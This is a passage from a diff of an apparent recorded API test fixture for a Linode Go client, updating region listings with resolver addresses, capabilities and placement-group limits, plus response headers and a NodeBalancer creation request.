Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium + Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, + 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, + 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", + "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, + 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": + "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": + "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": + "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, + 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", - "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, - 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, - 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "ap-southeast", - "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, - 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, - 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], - "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Managed Databases", "Premium Plans"], "status": "ok", "resolvers": - {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", - "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, - 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, - 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": + "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, + 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": + "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": - "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, - 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": + "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", + "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, + 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, + 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, + 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, + 172.232.128.27", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, + 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, + 172.233.111.9", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, + 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": + "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, + 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", - "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], - "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, - 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, - 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": + "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, + 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": + "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, + 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": + "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, + 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "in-maa", - "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": + "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, - 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, - 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, - 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, - 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, - 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, - 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, - 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, - 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "us-central", "label": "Dallas, TX", - "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], - "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, - 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, - 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage - Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, - 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, - 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "us-southeast", "label": "Atlanta, GA", - "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", + "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, + 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, + 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, + 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block - Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": - "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, - 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, + 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-east", "label": "Newark, - NJ", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, - 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": + 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": + "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": + "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, + 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, + 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, + 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": + "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, + 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-west", - "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, - 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, - 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", - "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", - "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU + Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", + "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "ap-northeast", "label": "Tokyo, JP", - "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], - "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, - 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, - 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}], - "page": 1, "pages": 1, "results": 24}' + 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", + "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, + 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}], "page": 1, "pages": 1, "results": 25}' headers: Access-Control-Allow-Credentials: - "true" @@ -258,19 +264,23 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=900 - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:22 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter + - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: @@ -279,16 +289,19 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: - body: '{"label":"go-test-def","region":"ap-west","client_conn_throttle":20,"tags":null,"firewall_id":228212}' + body: '{"label":"go-test-def","region":"ap-west","client_conn_throttle":20,"tags":null,"firewall_id":501400}' form: {} headers: Accept: @@ -300,10 +313,11 @@ interactions: url: https://api.linode.com/v4beta/nodebalancers method: POST response: - body: '{"id": 441122, "label": "go-test-def", "region": "ap-west", "hostname": - 